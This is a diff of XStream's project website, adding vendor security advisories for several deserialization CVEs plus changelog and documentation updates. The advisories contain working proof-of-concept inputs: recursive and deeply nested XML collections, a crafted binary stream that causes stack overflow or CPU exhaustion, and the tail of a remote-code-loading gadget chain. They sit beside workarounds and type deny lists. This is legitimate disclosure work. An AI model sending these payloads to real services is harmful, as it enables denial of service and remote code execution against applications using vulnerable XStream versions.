+      </javax.swing.MultiUIDefaults>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+  <javax.naming.ldap.Rdn_-RdnEntry>
+    <type>ysomap</type>
+    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
+      <m__obj class='string'>test</m__obj>
+    </value>
+  </javax.naming.ldap.Rdn_-RdnEntry>
+</sorted-set>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

Depending on the JDK, the code from the remote server is executed as soon as the XML gets unmarshalled or when + another element is added to the set.

+ +

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by + manipulating the processed input stream.

+ +

Workarounds

+ +

See workarounds for the different versions covering all CVEs.

+ +

Credits

+ +

ka1n4t found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2021-43859.html b/xstream-distribution/src/content/CVE-2021-43859.html new file mode 100644 index 000000000..531298d36 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2021-43859.html @@ -0,0 +1,199 @@ + + + + CVE-2021-43859 + + + +

Vulnerability

+ +

CVE-2021-43859: XStream can cause a Denial of Service by injecting highly recursive collections or maps.

+ +

Affected Versions

+ +

All versions until and including version 1.4.18 are affected.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in exponential recursively hashcode calculation, causing a denial + of service.

+ +

Steps to Reproduce

+ +

The attack uses the hashcode implementation of collection types in the Java runtime. Following types are affected with + lastest Java versions available in December 2021:

+
    +
  • java.util.HashMap
  • +
  • java.util.HashSet
  • +
  • java.util.Hashtable
  • +
  • java.util.LinkedHashMap
  • +
  • java.util.LinkedHashSet
  • +
  • java.util.Stack (older Java revisions only)
  • +
  • java.util.Vector (older Java revisions only)
  • +
  • Other third party collection implementations that use their element's hash code may also be affected
  • +
+

Create a simple HashSet and use XStream to marshal it to XML. Replace the XML with following snippet, increase the + depth of the structure and unmarshal it with XStream:

+
<set>
+  <set>
+    <string>a</string>
+    <set>
+      <string>a</string>
+      <set>
+        <string>a</string>
+      </set>
+      <set>
+        <string>b</string>
+      </set>
+    </set>
+    <set>
+      <set reference="../../set/set"/>
+      <string>b</string>
+      <set reference="../../set/set[2]"/>
+    </set>
+  </set>
+  <set>
+    <set reference="../../set/set"/>
+    <string>b</string>
+    <set reference="../../set/set[2]"/>
+  </set>
+</set>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+

Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet, increase the + depth of the structure and unmarshal it with XStream:

+
<map>
+  <entry>
+    <map>
+      <entry>
+        <string>a</string>
+        <string>b</string>
+      </entry>
+      <entry>
+        <map>
+          <entry>
+            <string>a</string>
+            <string>b</string>
+          </entry>
+          <entry>
+            <map>
+              <entry>
+                <string>a</string>
+                <string>b</string>
+              </entry>
+            </map>
+            <map>
+              <entry>
+                <string>c</string>
+                <string>d</string>
+              </entry>
+            </map>
+          </entry>
+          <entry>
+            <map reference="../../entry[2]/map[2]"/>
+            <map reference="../../entry[2]/map"/>
+          </entry>
+        </map>
+        <map>
+          <entry>
+            <string>c</string>
+            <string>d</string>
+          </entry>
+          <entry>
+            <map reference="../../../entry[2]/map"/>
+            <map reference="../../../entry[2]/map[2]"/>
+          </entry>
+          <entry>
+            <map reference="../../../entry[2]/map[2]"/>
+            <map reference="../../../entry[2]/map"/>
+          </entry>
+        </map>
+      </entry>
+      <entry>
+        <map reference="../../entry[2]/map[2]"/>
+        <map reference="../../entry[2]/map"/>
+      </entry>
+    </map>
+    <map>
+      <entry>
+        <string>c</string>
+        <string>d</string>
+      </entry>
+      <entry>
+        <map reference="../../../entry[2]/map"/>
+        <map reference="../../../entry[2]/map[2]"/>
+      </entry>
+      <entry>
+        <map reference="../../../entry[2]/map[2]"/>
+        <map reference="../../../entry[2]/map"/>
+      </entry>
+    </map>
+  </entry>
+  <entry>
+    <map reference="../../entry[2]/map[2]"/>
+    <map reference="../../entry[2]/map"/>
+  </entry>
+</map>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML is unmarshalled, the hash codes of the elements are calculated and the calculation time increases + exponentially due to the highly recursive structure.

+ +

Note, this example uses XML, but the attack can be performed for any supported format, that supports references, i.e. + JSON is not affected.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU + type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed + input stream.

+ +

Workarounds

+ +

If your object graph does not use referenced elements at all, you may simply set the NO_REFERENCE mode:

+ +
XStream xstream = new XStream();
+xstream.setMode(XStream.NO_REFERENCES);
+
+ +

If your object graph contains neither a Hashtable, HashMap nor a HashSet (or one of the linked variants of it) then you + can use the security framework to deny the usage of these types:

+ +
XStream xstream = new XStream();
+xstream.denyTypes(new Class[]{
+	java.util.HashMap.class, java.util.HashSet.class, java.util.Hashtable.class, java.util.LinkedHashMap.class, java.util.LinkedHashSet.class
+});
+
+ +

Unfortunately these types are very common. If you only use HashMap or HashSet and your XML refers these only as default + map or set, you may additionally change the default implementation of java.util.Map and java.util.Set at unmarshalling time:

+ +
xstream.addDefaultImplementation(java.util.TreeMap.class, java.util.Map.class);
+xstream.addDefaultImplementation(java.util.TreeSet.class, java.util.Set.class);
+
+ +

However, this implies that your application does not care about the implementation of the map and all elements are comparable.

+ +

Credits

+ +

r00t4dm at Cloud-Penetrating Arrow Lab found and reported the issue to XStream and provided the required information to + reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2022-40151.html b/xstream-distribution/src/content/CVE-2022-40151.html new file mode 100644 index 000000000..d3829677c --- /dev/null +++ b/xstream-distribution/src/content/CVE-2022-40151.html @@ -0,0 +1,67 @@ + + + + CVE-2022-40151 + + + +

Vulnerability

+ +

CVE-2022-40151: XStream is vulnerable to a Denial of Service attack due to stack overflow.

+ +

Affected Versions

+ +

All versions until and including version 1.4.19 are affected, if using the version out of the box.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in a stack overflow due to deeply nested objects causing a + denial of service.

+ +

Steps to Reproduce

+ +

Create a simple HashSet and use XStream to marshal it to XML. Replace the XML with generated with the + following code snippet and unmarshal it with XStream:

+
String xml = new String();
+        int i = 0;
+        for( ; i < 10000; ++i) {
+            xml += "<set>";
+        }
+        for( ; i > 0; --i) {
+            xml += "</set>";
+        }
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the recursion is too deep and the executing thread is aborted with a stack + overflow error.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to terminate the application with a stack overflow error resulting + in a denial of service only by manipulating the processed input stream.

+ +

Workarounds

+ +

The only solution is to catch the StackOverflowError in the client code calling XStream.

+ +

Credits

+ +

Henry Lin of the Google OSS-Fuzz team found and reported the issue to XStream and provided the required + information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2022-41966.html b/xstream-distribution/src/content/CVE-2022-41966.html new file mode 100644 index 000000000..2735ed52c --- /dev/null +++ b/xstream-distribution/src/content/CVE-2022-41966.html @@ -0,0 +1,106 @@ + + + + CVE-2022-41966 + + + +

Vulnerability

+ +

CVE-2022-41966: XStream is vulnerable to a Denial of Service attack due to stack overflow.

+ +

Affected Versions

+ +

All versions until and including version 1.4.19 are affected, if using the version out of the box.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in a stack overflow calculating a recursive hash set causing a + denial of service.

+ +

Steps to Reproduce

+ +

Create a simple HashSet and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it with XStream:

+
<set>
+  <set>
+    <set>
+      <set>
+        <set>
+          <set>
+            <set>
+              <string>a</string>
+            </set>
+            <set>
+              <string>b</string>
+            </set>
+          </set>
+          <set>
+            <string>c</string>
+            <set reference='../../../set/set[2]'/>
+          </set>
+        </set>
+      </set>
+    </set>
+  </set>
+</set>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the recursive hash calculation is entered and the executing thread is + aborted with a stack overflow error.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to terminate the application with a stack overflow error resulting + in a denial of service only by manipulating the processed input stream.

+ +

Workarounds

+ +

A simple solution is to catch the StackOverflowError in the client code calling XStream.

+ +

If your object graph does not use referenced elements at all, you may simply set the NO_REFERENCE mode:

+ +
XStream xstream = new XStream();
+xstream.setMode(XStream.NO_REFERENCES);
+
+ +

If your object graph contains neither a Hashtable, HashMap nor a HashSet (or one of the linked variants of it) then you + can use the security framework to deny the usage of these types:

+ +
XStream xstream = new XStream();
+xstream.denyTypes(new Class[]{
+	java.util.HashMap.class, java.util.HashSet.class, java.util.Hashtable.class, java.util.LinkedHashMap.class, java.util.LinkedHashSet.class
+});
+
+ +

Unfortunately these types are very common. If you only use HashMap or HashSet and your XML refers these only as default + map or set, you may additionally change the default implementation of java.util.Map and java.util.Set at unmarshalling time:

+ +
xstream.addDefaultImplementation(java.util.TreeMap.class, java.util.Map.class);
+xstream.addDefaultImplementation(java.util.TreeSet.class, java.util.Set.class);
+
+ +

However, this implies that your application does not care about the implementation of the map and all elements are comparable.

+ +

There is no known workaround to prevent this error except by catching the error in the code calling XStream.

+ +

Credits

+ +

Lai Han of nsfocus security team found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/CVE-2024-47072.html b/xstream-distribution/src/content/CVE-2024-47072.html new file mode 100644 index 000000000..9e021709b --- /dev/null +++ b/xstream-distribution/src/content/CVE-2024-47072.html @@ -0,0 +1,68 @@ + + + + CVE-2024-47072 + + + +

Vulnerability

+ +

CVE-2024-47072: XStream is vulnerable to a Denial of Service attack due to stack overflow from a manipulated + binary input stream.

+ +

Affected Versions

+ +

All versions until and including version 1.4.20 are affected, if using XStream's BinaryStreamDriver.

+ +

Description

+ +

XStream provides a BinaryStreamDriver with an own optimized serialization format. The format uses ids for + string values as deduplication. The mapping for these ids are created on-the-fly at marshalling time. At + unmarshalling time the reader's implementation simply used a simple one-time recursion after reading a mapping + token to process the next normal token of the data stream. However, an endless recursion could be triggered with + manipulated input data resulting in a stack overflow causing a denial of service.

+ +

Steps to Reproduce

+ +

Prepare the manipulated data and provide it as input for a XStream instance using the BinaryDriver:

+
final byte[] byteArray = new byte[36000];
+for (int i = 0; i < byteArray.length / 4; i++) {
+      byteArray[i * 4] = 10;
+      byteArray[i * 4 + 1] = -127;
+      byteArray[i * 4 + 2] = 0;
+      byteArray[i * 4 + 3] = 0;
+}
+
+XStream xstream = new XStream(new BinaryStreamDriver());
+xstream.fromXML(new ByteArrayInputStream(byteArray));
+
+ +

As soon as the data gets unmarshalled, the endless recursion is entered and the executing thread is aborted with + a stack overflow error.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to terminate the application with a stack overflow error resulting + in a denial of service only by manipulating the processed input stream if the instance is setup with a + BinaryStreamDriver.

+ +

Workarounds

+ +

A simple solution is to catch the StackOverflowError in the client code calling XStream. There's no other known + workaround when using the BinaryStreamDriver.

+ +

Credits

+ +

Alexis Challande of Trail Of Bits found and reported the issue to XStream and provided the required information to reproduce it.

+ + + diff --git a/xstream-distribution/src/content/architecture.html b/xstream-distribution/src/content/architecture.html index bdf8b6884..473ffa0c7 100644 --- a/xstream-distribution/src/content/architecture.html +++ b/xstream-distribution/src/content/architecture.html @@ -1,7 +1,7 @@ +
  • Mappers
  • Drivers (Writer and Reader)
  • Context
  • +
  • Type Permissions
  • Facade
  • +

    Life Cycle

    + +

    An XStream instance envisages two phases in its life cycle: Setup and Execution. A lot of default configuration is + already applied when an XStream instance is instantiated, i.e. the instance is directly in setup phase. Now is + the time to apply further configuration. This phase is not thread-safe.

    + +

    Once an instance is properly configured in can be used in an execution phase, where + Java object graphs are marshalled and unmarshalled. The execution phase is + thread-safe, i.e. is is possible to use an XStream instance concurrently for execution. However, XStream + builds caches during execution based on the configuration. Therefore, an instance should never be reconfigured + during or after execution phase. The result of any further (un-)marshalling might not be what is expected.

    + + +

    Converters

    Whenever XStream encounters an object that needs to be converted to/from XML, it delegates to a suitable @@ -36,13 +51,28 @@

    Converters

    XStream comes bundled with many converters for common types, including primitives, String, Collections, arrays, null, Date, etc.

    -

    XStream also has a default Converter, that is used when no other Converters match a type. This uses +

    XStream also has a default Converter, that is used when no other Converters match a type. This uses reflection to automatically generate the XML for all the fields in an object.

    If an object is composed of other objects, the Converter may delegate to other Converters.

    To customize the XML for particular object type a new Converter should be implemented.

    + + +

    Mappers

    + +

    Mapper implementations are the key + components to map between names used in XML and names of Java elements and vice versa. Mappers are organized + in a chain, e.g. every time a mapper cannot map a special name it delegates the call to its logical parent. + Mappers keep the configuration in XStream and a converter should always use the Mapper (chain) of XStream to + map names it has to deal with.

    + +

    XStream comes bundled with many mappers to map names of ordinary Java types and elements, of arrays, enums, + proxies, outer classes, to handle alias definitions, implicit collections, and ignored elements and even the + Security Framework is based on a Mapper implementation.

    + +

    Overwrite XStream's wrapMapper function to add custom mapper implementation.

    @@ -119,6 +149,14 @@

    Context

    a hash table passed around whilst processing the object graph that can be used as the user sees fit (in a similar way that the HttpServletRequest attributes are used in a web-application).

    + + +

    Type Permissions

    + +

    XStream's Security Framework consists of a Mapper implementation and + a lot of type permissions. These + implementations are used to deny or allow the deserialization of java types based on their name or type + hierarchy.

    @@ -131,6 +169,5 @@

    XStream facade

    Remember, the XStream class is just a facade - it can always be bypassed for more advanced operations.

    - \ No newline at end of file diff --git a/xstream-distribution/src/content/benchmarks.html b/xstream-distribution/src/content/benchmarks.html index fc8c45fa4..ca3e843cd 100644 --- a/xstream-distribution/src/content/benchmarks.html +++ b/xstream-distribution/src/content/benchmarks.html @@ -1,6 +1,6 @@ + +

    1.4.21

    + +

    Released November 7, 2024.

    + +

    This maintenance release addresses the security vulnerability + CVE-2024-47072, when using the BinaryDriver to unmarshal a manipulated input + stream causing a Denial of Service due to a stack overflow.

    + +

    Major changes

    + +
      +
    • GHPR:#350: Optimize memory allocation (by Vladislav Rassokhin of JetBrains).
    • +
    • Add a converter for the WeakHashMap which does not write any elements of the map. Avoids also access to the + ReentrantLock contained in the WeakHashMap since Java 19.
    • +
    + +

    Minor changes

    + +
      +
    • GHPR:#335: Allow PrettyPrintWriter to replace invalid XML characters when not running in quirks mode (by Basil Crow).
    • +
    • GHPR:#331, GHI:#326: Fix handling of empty java.util.concurrent.atomic.AtomicReference (by Alex Blekhman of Atlassian).
    • +
    • GHPR:#334: Fix remaining buffer size calculation in QuickWriter (by Higuchi Yuta).
    • +
    • GHI:#342: Optimize internal handling of children in DomReader avoiding O(n²) access times for siblings (by Shiang-Yun Yang).
    • +
    • GHPR:#349: Fix support of lambda objects for Java 21 and above (by Tobias Gierke).
    • +
    • GHI:#359: Add KEYS file with public keys to verify signed artifacts.
    • +
    • Detect input manipulation in c.t.x.io.binary.BinaryStreamReader.
    • +
    + +

    API changes

    + +
      +
    • Added constant c.t.x.io.xml.PrettyPrintWriter.XML_1_0_REPLACEMENT.
    • +
    • Added constant c.t.x.io.xml.PrettyPrintWriter.XML_1_1_REPLACEMENT.
    • +
    • Added c.t.x.converters.collections.WeakHashMapConverter.
    • +
    • Protected field fieldsToOmit of c.t.x.mapper.ElementIgnoringMapper set to private.
    • +
    • Protected field unknownElementsToIgnore of c.t.x.mapper.ElementIgnoringMapper set to private.
    • +
    + +

    Stream compatibility

    + +
      +
    • The WeakHashMaps, that have been written with previous versions of XStream, can still be deserialized.
    • +
    + +

    1.4.20

    + +

    Released December 24, 2022.

    + +

    This maintenance release addresses the security vulnerabilities + CVE-2022-40151 and CVE-2022-41966, causing a + Denial of Service by raising a stack overflow. It also provides new converters for Optional and Atomic types.

    + +

    Major changes

    + +
      +
    • GHI:#308: Add converter for AtomicBoolean, AtomicInteger, AtomicLong, and AtomicReference of + package java.util.concurrent.atomic.
    • +
    • GHI:#293: Add converter for Optional, OptionalDouble, OptionalInt, and OptionalLong of package + java.util.
    • +
    + +

    Minor changes

    + +
      +
    • GHPR:#287: Close stream opened from provided URL.
    • +
    • GHI:#284: Fix disabling check against hash code attack with XStream.setCollectionUpdateLimit(0).
    • +
    + +

    Stream compatibility

    + +
      +
    • The atomic types with new converters of package java.util.concurrent.atomic, that have been written with + previous versions of XStream, can still be deserialized.
    • +
    • The Optional types with new converters of package java.util, that have been written with previous versions + of XStream, can still be deserialized.
    • +
    • The WildcardTypePermission allows by default no longer anonymous class types.
    • +
    + +

    API changes

    + +
      +
    • Added c.t.x.converters.extended.AtomicBooleanConverter.
    • +
    • Added c.t.x.converters.extended.AtomicIntegerConverter.
    • +
    • Added c.t.x.converters.extended.AtomicLongConverter.
    • +
    • Added c.t.x.converters.extended.AtomicReferenceConverter.
    • +
    • Added c.t.x.converters.extended.OptionalConverter.
    • +
    • Added c.t.x.converters.extended.OptionalDoubleConverter.
    • +
    • Added c.t.x.converters.extended.OptionalIntConverter.
    • +
    • Added c.t.x.converters.extended.OptionalLongConverter.
    • +
    • Added c.t.x.security.WildcardTypePermission.WildcardTypePermission(boolean,String[]).
    • +
    + +

    1.4.19

    + +

    Released January 29, 2022.

    + +

    This maintenance release addresses the security vulnerability + CVE-2021-43859, when unmarshalling highly recursive collections or maps causing a + Denial of Service.

    + +

    API changes

    + +
      +
    • Added c.t.x.XStream.COLLECTION_UPDATE_LIMIT and c.t.x.XStream.COLLECTION_UPDATE_SECONDS.
    • +
    • Added c.t.x.XStream.setCollectionUpdateLimit(int).
    • +
    • Added c.t.x.core.SecurityUtils.
    • +
    • Added c.t.x.security.AbstractSecurityException and c.t.x.security.InputManipulationException.
    • +
    • c.t.x.security.InputManipulationException derives now from c.t.x.security.AbstractSecurityException.
    • +
    + +

    1.4.18

    + +

    Released August 22, 2021.

    + +

    This maintenance release addresses following security vulnerabilities, when unmarshalling with + an XStream instance using the default blacklist of an uninitialized security framework. XStream is therefore now + using a whitelist by default.

    + + + +

    Minor changes

    + +
      +
    • GHI:#233: Support serializable types with non-serializable parent with PureJavaReflectionConverter.
    • +
    + +

    Stream compatibility

    + +

    Starting with version 1.14.12 nine years ago, XStream contains a + Security Framework to implement a black- or whitelist for the allowed types + at deserialization time. Until version 1.4.17, XStream kept a default blacklist in order to deny all types of the + Java runtime, which are used for all kinds of security attacks, in order to + guarantee optimal runtime compatibility for existing users. However, this approach has failed. The last months + have shown, that the Java runtime alone contains dozens of types that can be used for an attack, not even looking + at the 3rd party libraries on a classpath. The new version of XStream uses therefore now by default a whitelist, + which is recommended since nine years. It also has been complaining on the console for a long time about an + uninitialized security framework the first time it was run. Anyone who has followed the advice and initialized the + security framework for their own scenario can easily update to the new version without any problem. Everyone else + will have to do a proper initialization now, otherwise the new version will fail with certainty at deserialization + time.

    + +

    1.4.17

    + +

    Released May 13, 2021.

    + +

    This maintenance release addresses the security vulnerability + CVE-2021-29505, when unmarshalling with XStream instances using an uninitialized + security framework.

    + +

    Stream compatibility

    + +
      +
    • The following types are now blacklisted by default and the deserialization + of XML containing one of the two types will fail. You will have to enable these types by explicit + configuration, if you need them:
      +
        +
      • any type in the java.rmi.* and sun.rmi.* package hierarchies
      • +
      • the individual type com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl
      • +
      +
    • +
    + +

    1.4.16

    + +

    Released March 13, 2021.

    + +

    This maintenance release switches XStream's default parser and addresses following security + vulnerabilities, when unmarshalling with an XStream instances using an uninitialized security framework.

    + + + +

    Major changes

    + +
      +
    • Switch from Xpp3 as default parser to MXParser, a fork of Xpp3.
    • +
    + +

    Minor changes

    + +
      +
    • GHI:#238: Fix possibility to process references on enum types at deserialization.
    • +
    • GHI:#237: Fix optimization in XmlFriendlyNameCoder.
    • +
    + +

    Stream compatibility

    + +
      +
    • The following types are now blacklisted by default and the deserialization + of XML containing one of the two types will fail. You will have to enable these types by explicit + configuration, if you need them:
      +
        +
      • the type hierarchies for java.io.InputStream, java.nio.channels.Channel, + javax.activation.DataSource and javax.sql.rowsel.BaseRowSet
      • +
      • the individual types com.sun.corba.se.impl.activation.ServerTableEntry, + com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator, + sun.awt.datatransfer.DataTransferer$IndexOrderComparator, and sun.swing.SwingLazyValue
      • +
      • the individual types com.sun.corba.se.impl.activation.ServerTableEntry, + com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator, + sun.awt.datatransfer.DataTransferer$IndexOrderComparator, and sun.swing.SwingLazyValue
      • +
      • the internal type Accessor$GetterSetterReflection of JAXB, the internal types + MethodGetter$PrivilegedGetter and ServiceFinder$ServiceNameIterator of JAX-WS
      • +
      • all inner classes of javafx.collections.ObservableList
      • +
      • an internal ClassLoader used in a private copy of BCEL within the Java runtime
      • +
      +
    • +
    + +

    Dependencies

    + +

    The default parser of XStream has changed from the Xpp3Parser in artifact xpp3:xpp3_min to MXParser, a fork of + Xpp3 in the artifact io.github.x-stream:mxparser. The Xpp3 is unmaintained for a long time, bugs have been fixed + reported more than a decade ago, improvements by other forks have been incorporated and some endless loops have + been fixed, that could have been utilized as DoS attack.

    + +

    XStream has therefore new default dependencies. If you have used XStream with the default driver (i.e. Xpp3), + you can still exchange the XStream library for a drop-in replacement, but you will also have to remove the Xpp3 and + add the MXParser library instead.

    + +

    For build time you will have to add the Xpp3 library to your dependencies, if you made explicitly use of the + Xpp3 driver. If you did explicitly use a different driver than Xpp3 and had therefore excluded the Xpp3 + dependency, you might have to exclude now the new MXParser dependency instead to minimize your dependency list.

    + +

    1.4.15

    + +

    Released December 13, 2020.

    + +

    This maintenance release addresses the security vulnerabilities + CVE-2020-26258 and CVE-2020-26259, when + unmarshalling with XStream instances using an uninitialized security framework.

    + +

    Minor changes

    + +
      +
    • GHI:#226: XmlFriendlyNameCoder does not accept '9' as valid character in an XML name.
    • +
    • GHPR:#228: DefaultMapper should handle IllegalArgumentException thrown by Class.forName().
    • +
    + +

    Stream compatibility

    + +
      +
    • The type jdk.nashorn.internal.objects.NativeString and the internal JAX-WS type ReadAllStream.FileStream + are now part of the default blacklist and the deserialization of XML containing one of the two types will fail. + You will have to enable these types by explicit configuration, if you need them.
    • +
    + +

    Delivery

    + +

    Any XStream release can run with a minimal Java runtime environment of Java 1.4 as long as this environment will + process only requested classes of the jar file. Until version 1.4.14 XStream was delivered also as special Java 7 + version for Android, because Dalvik scans all classes and fails at classes requiring a higher runtime version. However, this + special version will not work in a normal Java 8 environment or higher and was never meant do so.

    + +

    Unfortunately, this version has to be build always after the standard version due to the build sequence. The + latest version in Maven Central however is always the one that has been deployed last independently from the time + of publishing. This creates an annoyance now in GitHub for any project using the Dependabot service which creates + automated pull requests with updates to the latest XStream version, because it injects now the special Java 7 + version that probably breaks these projects.

    + +

    Users who still require a special version for Java 7 will have to build this artifact now on their own. Users + for even older Java environments had always to do so anyway.

    + +

    1.4.14

    + +

    Released November 16, 2020.

    + +

    This maintenance release addresses the security vulnerability + CVE-2020-26217, reported originally as CVE-2017-9805 for Struts' XStream Plugin, + an arbitrary execution of commands when unmarshalling with XStream instances using an uninitialized security + framework.

    + +

    Stream compatibility

    + +
      +
    • The types java.lang.ProcessBuilder and javax.imageio.ImageIO$ContainsFilter are now part of the default + blacklist and the deserialization of XML containing one of the two types will fail. You will have to enable + these types by explicit configuration, if you need them.
    • +
    + +

    1.4.13

    + +

    Released September 6, 2020.

    + +

    Major changes

    + +
      +
    • GHPR:#216, GHPR:#218: Defer reflective access to Java core modules.
    • +
    • GHI:#207: New predefined blacklist avoids vulnerability due to improper setup of the security framework.
    • +
    + +

    1.4.12

    + +

    Released April 12, 2020.

    + +

    Minor changes

    + +
      +
    • XmlFriendlyNameCoder supports now XML parsers implementing only 4th edition of XML 1.0 specification.
    • +
    • Fix support of CDATA events in StAX.
    • +
    • GHI:#171: XStream.createObjectInputStream does not pass the DataHolder.
    • +
    • GHI:#151: Use of SPDX license identifier in POM and Manifest.
    • +
    • GHI:#152: Declare OSGi import of internal runtime packages as optional.
    • +
    • Drop Require-Capability entry in manifest.
    • +
    + +

    1.4.11.1

    + +

    Released October 27, 2018.

    + +

    Hot fix

    + +
      +
    • GHI:#133: XStream 1.4.11 fails to run on a Java Runtime < 8.
    • +
    + +

    1.4.11

    + +

    Released October 23, 2018.

    + +

    This maintenance release addresses again the security vulnerability + CVE-2013-7285, an arbitrary execution of commands when unmarshalling with XStream instances using an + uninitialized security framework. Only 1.4.10 uninitialized security framework was affected.

    Minor changes

      +
    • GHPR:#91, GHPR:#106: Clean-up data stacks in UnmarshallingContext implementations in case of exception (by + Märt Bakhoff).
    • +
    • GHI:#2: Unneeded contention in DefaultConverterLookup.
    • +
    • GHI:#94: Fix PathConverter containing absolute Windows paths.
    • +
    • GHI:#105: XStream's ObjectInputStream returns wrong values for readUnsignedByte and readUnsignedShort.
    • JIRA:XSTR-616 and GHPR:#93: Introduce StringCodec interface to support arbitrary Base64 codec implementations for EncodedByteArrayConverter. Prefer Base64 codec implementations of the Java runtime over XStream's own one.
    • +
    • GHI:#97: Support to run out of the box in a Java 1.4 runtime is established again.
    • +
    • Provide methods in AbstractCollectionConverter that read and write in a balanced way from and to the + hierarchical stream.
    • +
    • New future-proof method JVM.isVersion to detect major version of Java runtime (incl. Java 10) as + replacement for individual JVM.isXY methods.
    • +
    • GHI:#115: Dom4JDriver ignores character set of Dom4J configuration creating a Writer.
    • +
    • GHI:#116: Make converters null safe.
    • +
    • GHI:#123 and GHPR:#124: Declare XPP dependencies for OSGi as optional.
    • +
    • Add XppDriver.createDefaultParser for a simpler access to the default XmlPullParserFactory.
    • +
    • Old BEA reference implementation of StAX is outdated, unmaintained and has security issues, therefore + XStream's driver has been deprecated.
    • +
    • Support for JaCoCo: FieldDictionary ignores synthetic fields starting with $jacoco as name.
    • +
    • Add integration test for OSGi (by Wes Wannemacher).

    Stream compatibility

    • The EncodedByteArrayConverter will now use an encoder by default that does no longer add line breaks as - normally required by the RFC 1521 after 76 characters making it also easier to use the converter for + normally required by the RFC 1521 after 76 characters, making it also easier to use the converter for attributes. This will not affect XStream's Base64 decoder.

    API changes

      -
    • Added c.t.x.util.JVM.getBase64Codec().
    • -
    • Added c.t.x.util.StingCodec.
    • +
    • Added c.t.x.converters.collection.AbstractCollectionConverter.readBareItem(HierarchicalStreamReader, UnmarshallingContext, Object).
    • +
    • Added c.t.x.converters.collection.AbstractCollectionConverter.readCompleteItem(HierarchicalStreamReader, UnarshallingContext, Object).
    • +
    • Deprecated c.t.x.converters.collection.AbstractCollectionConverter.readItem(HierarchicalStreamReader, UnmarshallingContext, Object).
    • +
    • Added c.t.x.converters.collection.AbstractCollectionConverter.writeBareItem(Object, MarshallingContext, HierarchicalStreamWriter).
    • +
    • Added c.t.x.converters.collection.AbstractCollectionConverter.writeCompleteItem(Object, MarshallingContext, HierarchicalStreamWriter).
    • +
    • Deprecated c.t.x.converters.collection.AbstractCollectionConverter.writeItem(Object, MarshallingContext, HierarchicalStreamWriter).
    • +
    • Added c.t.x.converters.collection.AbstractCollectionConverter.writeNullItem(MarshallingContext, HierarchicalStreamWriter).
    • Added c.t.x.converters.extended.EncodedByteArrayConverter(StingCodec).
    • +
    • Added c.t.x.converters.extended.NamedCollectionConverter.readBareItem(HierarchicalStreamReader, UnmarshallingContext, Object).
    • +
    • Deprecated c.t.x.converters.extended.NamedCollectionConverter.readItem(HierarchicalStreamReader, UnmarshallingContext, Object).
    • +
    • Added c.t.x.converters.extended.NamedCollectionConverter.writeCompleteItem(Object, MarshallingContext, HierarchicalStreamWriter).
    • +
    • Deprecated c.t.x.converters.extended.NamedCollectionConverter.writeItem(Object, MarshallingContext, HierarchicalStreamWriter).
    • +
    • Added c.t.x.core.DefaultConverterLookup(Map).
    • +
    • Added c.t.x.core.util.JVM.getBase64Codec().
    • +
    • Added c.t.x.core.util.JVM.isVersion().
    • +
    • Deprecated c.t.x.core.util.JVM.is18().
    • +
    • Deprecated c.t.x.core.util.JVM.is9().
    • +
    • Deprecated c.t.x.io.ExtendedHierarchicalStreamReader.
    • +
    • Deprecated c.t.x.io.ExtendedHierarchicalStreamWriter.
    • +
    • Deprecated c.t.x.io.ExtendedHierarchicalStreamWriterHelper.
    • +
    • Deprecated c.t.x.io.xml.BEAStaxDriver.
    • +
    • Added c.t.x.io.xml.Dom4JReader.Dom4JReader(Branch).
    • +
    • Added c.t.x.io.xml.XppDriver.createDefaultParser().
    • +
    • Added c.t.x.core.util.StingCodec.

    1.4.10

    diff --git a/xstream-distribution/src/content/converters.html b/xstream-distribution/src/content/converters.html index fcda4a065..ece101a5f 100644 --- a/xstream-distribution/src/content/converters.html +++ b/xstream-distribution/src/content/converters.html @@ -1,7 +1,7 @@ + +

    java.util.concurrent.atomic

    + + + Converter + Supported types + Example + Notes + Prio + + + AtomicBooleanConverter + java.util.concurrent.atomic.AtomicBoolean + + <atomic-boolean>true</atomic-boolean> + + Available with Java 1.5 or higher. + normal + + + AtomicIntegerConverter + java.util.concurrent.atomic.AtomicInteger + + <atomic-integer>12345678</atomic-integer> + + Available with Java 1.5 or higher. + normal + + + AtomicLongConverter + java.util.concurrent.atomic.AtomicLong + + <atomic-long>2344556678888786</atomic-long> + + Available with Java 1.5 or higher. + normal + + + AtomicReferenceConverter + java.util.concurrent.atomic.AtomicReference + + <atomic-reference>
    +   <value class="string">test</value>
